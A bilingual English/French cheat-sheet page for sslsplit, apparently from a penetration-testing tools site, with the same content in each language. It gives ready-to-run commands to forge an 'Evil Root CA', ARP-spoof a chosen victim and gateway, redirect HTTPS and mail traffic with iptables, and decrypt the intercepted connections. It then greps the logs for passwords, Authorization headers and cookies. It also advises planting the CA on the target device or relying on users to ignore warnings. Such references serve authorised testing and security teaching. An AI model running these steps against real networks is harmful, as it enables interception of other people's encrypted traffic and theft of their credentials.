← retour aux outils back to tools

# sslsplit

Proxy d'interception SSL/TLS transparent. Effectue des attaques man-in-the-middle sur des connexions SSL/TLS : déchiffre, journalise et rechiffre le trafic de manière transparente. Transparent SSL/TLS interception proxy. Performs man-in-the-middle attacks on SSL/TLS connections — decrypts, logs, and re-encrypts traffic transparently.

↗ https://github.com/droe/sslsplit

## Overview

sslsplit performs transparent SSL/TLS man-in-the-middle attacks. It intercepts encrypted connections, decrypts them using a forged certificate signed by a CA you control, logs the plaintext traffic, and re-encrypts before forwarding to the real server. Requires traffic to be redirected to it (via iptables, ARP spoofing, etc.).

## Setup — CA Certificate

Generate CA private key

    openssl genrsa -out ca.key 4096

Self-signed CA certificate

    openssl req -new -x509 -days 1826 -key ca.key -out ca.crt \
      -subj "/C=US/O=Evil CA/CN=Evil Root CA"

    # Install CA cert on target device to avoid certificate warnings
    # (or rely on users ignoring warnings)

## Basic Usage

HTTPS interception (redirect port 443 → 8443)

    sslsplit -D -l connections.log -j /tmp/sslsplit -S /tmp/sslsplit \
      -k ca.key -c ca.crt \
      ssl 0.0.0.0 8443

HTTP + HTTPS

    sslsplit -D -l conn.log -j /tmp/ss -S /tmp/ss -k ca.key -c ca.crt \
      ssl 0.0.0.0 8443 \
      tcp 0.0.0.0 8080

## Traffic Redirection (iptables)

    # Redirect all HTTPS traffic to sslsplit on gateway/router
    iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

For traffic from a specific source

    iptables -t nat -A PREROUTING -s 192.168.1.50 -p tcp --dport 443 -j REDIRECT --to-ports 8443

    arpspoof -i eth0 -t 192.168.1.50 192.168.1.1  # target → gateway

    arpspoof -i eth0 -t 192.168.1.1 192.168.1.50  # gateway → target

Enable IP forwarding

    echo 1 > /proc/sys/net/ipv4/ip_forward

## Log Analysis

sslsplit saves decrypted content to files in -S directory

    ls /tmp/sslsplit/

→ Files named: ---.log

View captured traffic

    cat /tmp/sslsplit/*.log

Find credentials in HTTP POST bodies

    grep -i "password\|passwd\|pass=" /tmp/sslsplit/*.log

Find Authorization headers

    grep -i "Authorization:" /tmp/sslsplit/*.log

Find cookies

    grep -i "Cookie:" /tmp/sslsplit/*.log

## STARTTLS Support

SMTP with STARTTLS

    sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8587

IMAP with STARTTLS

    sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8993

POP3 with STARTTLS

    sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8995

## Tips

- Install the CA cert in the target’s trust store to avoid certificate warnings
- Mobile devices can be configured to use a proxy — easier than full network interception
- Use `-D` (daemon mode) with logging for long-running captures
- Certificate pinning in apps will bypass sslsplit — use Frida or Objection for those
- mitmproxy is often easier to use for interactive inspection; sslsplit excels at passive logging

Help / Man page

    sslsplit [options] proxyspecs...

    -k KEY          CA private key file (PEM)
    -c CERT         CA certificate file (PEM)
    -j DIR          Jail directory for chroot
    -S DIR          Log directory for content
    -l FILE         Log connection info to file
    -D              Run as daemon
    -d              Debug mode (don't fork)

    Proxy specs:
      ssl  <addr> <port>      SSL/TLS listener
      tcp  <addr> <port>      Plaintext TCP listener
      autossl <addr> <port>   Auto-detect STARTTLS

## Vue d’ensemble

sslsplit effectue des attaques man-in-the-middle SSL/TLS transparentes. Il intercepte les connexions chiffrées, les déchiffre à l’aide d’un certificat forgé signé par une CA que l’on contrôle, journalise le trafic en clair, puis le rechiffre avant de le transmettre au vrai serveur. Nécessite que le trafic lui soit redirigé (via iptables, ARP spoofing, etc.).

## Mise en place : certificat CA

    # Générer la clé privée CA
    openssl genrsa -out ca.key 4096

    # Certificat CA auto-signé
    openssl req -new -x509 -days 1826 -key ca.key -out ca.crt \
      -subj "/C=US/O=Evil CA/CN=Evil Root CA"

    # Installer le certificat CA sur l'appareil cible pour éviter les avertissements de certificat
    # (ou compter sur les utilisateurs qui ignorent les avertissements)

## Utilisation de base

    # Interception HTTPS (redirige le port 443 → 8443)
    sslsplit -D -l connections.log -j /tmp/sslsplit -S /tmp/sslsplit \
      -k ca.key -c ca.crt \
      ssl 0.0.0.0 8443

    # HTTP + HTTPS
    sslsplit -D -l conn.log -j /tmp/ss -S /tmp/ss -k ca.key -c ca.crt \
      ssl 0.0.0.0 8443 \
      tcp 0.0.0.0 8080

## Redirection du trafic (iptables)

    # Rediriger tout le trafic HTTPS vers sslsplit sur la passerelle/routeur
    iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

    # Pour le trafic d'une source spécifique
    iptables -t nat -A PREROUTING -s 192.168.1.50 -p tcp --dport 443 -j REDIRECT --to-ports 8443

    arpspoof -i eth0 -t 192.168.1.50 192.168.1.1  # cible → passerelle

    arpspoof -i eth0 -t 192.168.1.1 192.168.1.50  # passerelle → cible

Activer l’IP forwarding

    echo 1 > /proc/sys/net/ipv4/ip_forward

## Analyse des logs

sslsplit sauvegarde le contenu déchiffré dans des fichiers du répertoire -S

    ls /tmp/sslsplit/

→ Fichiers nommés : ---.log

    # Visualiser le trafic capturé
    cat /tmp/sslsplit/*.log

    # Trouver des identifiants dans les corps de requêtes POST
    grep -i "password\|passwd\|pass=" /tmp/sslsplit/*.log

    # Trouver les headers Authorization
    grep -i "Authorization:" /tmp/sslsplit/*.log

    # Trouver les cookies
    grep -i "Cookie:" /tmp/sslsplit/*.log

## Support STARTTLS

    # SMTP avec STARTTLS
    sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8587

    # IMAP avec STARTTLS
    sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8993

    # POP3 avec STARTTLS
    sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8995

## Conseils

- Installer le certificat CA dans le magasin de confiance de la cible pour éviter les avertissements de certificat
- Les appareils mobiles peuvent être configurés pour utiliser un proxy : plus simple qu’une interception réseau complète
- Utiliser `-D` (mode daemon) avec journalisation pour des captures de longue durée
- Le certificate pinning dans les applications contournera sslsplit : utiliser Frida ou Objection pour ces cas
- mitmproxy est souvent plus facile à utiliser pour l’inspection interactive ; sslsplit excelle dans la journalisation passive

Aide / Page de manuel

    sslsplit [options] proxyspecs...

    -k KEY          CA private key file (PEM)
    -c CERT         CA certificate file (PEM)
    -j DIR          Jail directory for chroot
    -S DIR          Log directory for content
    -l FILE         Log connection info to file
    -D              Run as daemon
    -d              Debug mode (don't fork)

    Proxy specs:
      ssl  <addr> <port>      SSL/TLS listener
      tcp  <addr> <port>      Plaintext TCP listener
      autossl <addr> <port>   Auto-detect STARTTLS